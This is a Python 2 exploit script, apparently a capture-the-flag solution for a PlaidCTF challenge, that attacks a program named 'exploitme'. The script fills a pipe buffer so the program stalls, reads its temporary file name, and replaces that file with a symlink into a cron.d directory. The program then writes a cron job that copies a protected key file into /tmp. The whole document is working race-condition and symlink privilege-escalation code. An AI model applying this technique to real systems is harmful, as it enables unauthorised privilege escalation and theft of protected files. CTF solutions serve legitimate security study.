#!/usr/bin/env python
#-*- coding:utf-8 -*-
# python exploit by hellman from Leet More http://leetmore.ctf.su

import os, sys, time, fcntl
from subprocess import Popen, PIPE


KEY_FILE = "/tmp/.mastaa/PWNED"
DATA = "cat /opt/pctf/z1key/key >" + KEY_FILE
CRON_NAME = "/opt/pctf/z1key/cron.d/mastaa.sh"


def main():
    out, out_in = os.pipe()

    # Leave space only for first two profiling messages
    set_blocking(out_in, False)
    fake_len = 4096 * 16 - 2 * len("Entering 0x8048167...\n")
    os.write(out_in, "A" * fake_len)
    set_blocking(out_in)
    
    # Run program - it will be blocked after the buffer is filled
    p = Popen(["/opt/pctf/z1/exploitme", DATA], stderr=PIPE, stdout=out_in)
    
    # Get the filename
    s = p.stderr.read(34)
    fname = s[len("Temporary file is "):]
    print "Got filename:", fname

    # Sleep for proof of blocking
    time.sleep(5)

    # Make a symlink
    os.symlink(CRON_NAME, fname)

    # Unblock
    os.read(out, fake_len)
    os.read(out, 1024)


def set_blocking(fileno, flag=True):
    flags = fcntl.fcntl(fileno, fcntl.F_GETFL)
    if (not flag) ^ (flags & os.O_NONBLOCK):
        flags ^= os.O_NONBLOCK
    fcntl.fcntl(fileno, fcntl.F_SETFL, flags)


if __name__ == "__main__":
    main()
